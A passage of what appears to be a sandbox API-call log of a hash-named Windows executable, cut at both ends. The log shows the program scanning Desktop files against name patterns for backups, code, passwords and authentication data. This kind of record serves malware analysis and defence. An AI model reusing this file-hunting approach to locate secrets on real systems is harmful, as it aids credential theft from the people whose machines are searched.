lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x32bad60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", lpUsedDefaultChar=0x0) returned 49 [0146.791] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*backup*.*") returned 0 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x33400d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", lpUsedDefaultChar=0x0) returned 48 [0146.791] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*backup*.*") returned 0 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x2363228, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", lpUsedDefaultChar=0x0) returned 40 [0146.791] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*backup*.*") returned 0 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x2363138, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", lpUsedDefaultChar=0x0) returned 40 [0146.791] PathMatchSpecW (pszFile="X84p.png", pszSpec="*backup*.*") returned 0 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", lpUsedDefaultChar=0x0) returned 41 [0146.791] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*backup*.*") returned 0 [0146.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x32baca0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", lpUsedDefaultChar=0x0) returned 52 [0146.792] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*backup*.*") returned 0 [0146.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", lpUsedDefaultChar=0x0) returned 45 [0146.792] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*backup*.*") returned 0 [0146.792] GetLastError () returned 0x12 [0146.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.796] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*code*.*") returned 0 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 [0146.796] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*code*.*") returned 0 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23611c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.796] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*code*.*") returned 0 [0146.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x32bace0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.797] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*code*.*") returned 0 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x32bafa0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.797] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*code*.*") returned 0 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x23627d8, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.797] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*code*.*") returned 0 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x32bb658, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.797] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*code*.*") returned 0 [0146.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x2362ca8, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.798] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*code*.*") returned 0 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.798] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*code*.*") returned 0 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x32ba858, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.798] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*code*.*") returned 0 [0146.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.798] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*code*.*") returned 0 [0146.798] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*code*.*") returned 0 [0146.798] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="Mhr9", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*code*.*") returned 0 [0146.799] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*code*.*") returned 0 [0146.800] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*code*.*") returned 0 [0146.801] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="X84p.png", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*code*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*password*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*password*.*") returned 0 [0146.802] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*password*.*") returned 0 [0146.803] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*password*.*") returned 0 [0146.804] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*password*.*") returned 0 [0146.804] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*password*.*") returned 0 [0146.806] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="Mhr9", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*password*.*") returned 0 [0146.807] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*password*.*") returned 0 [0146.808] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="X84p.png", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*password*.*") returned 0 [0146.809] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*password*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*password*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*auth*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*auth*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*auth*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*auth*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*auth*.*") returned 0 [0146.810] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*auth*.*") returned 0 [0146.812] PathMatchSpecW 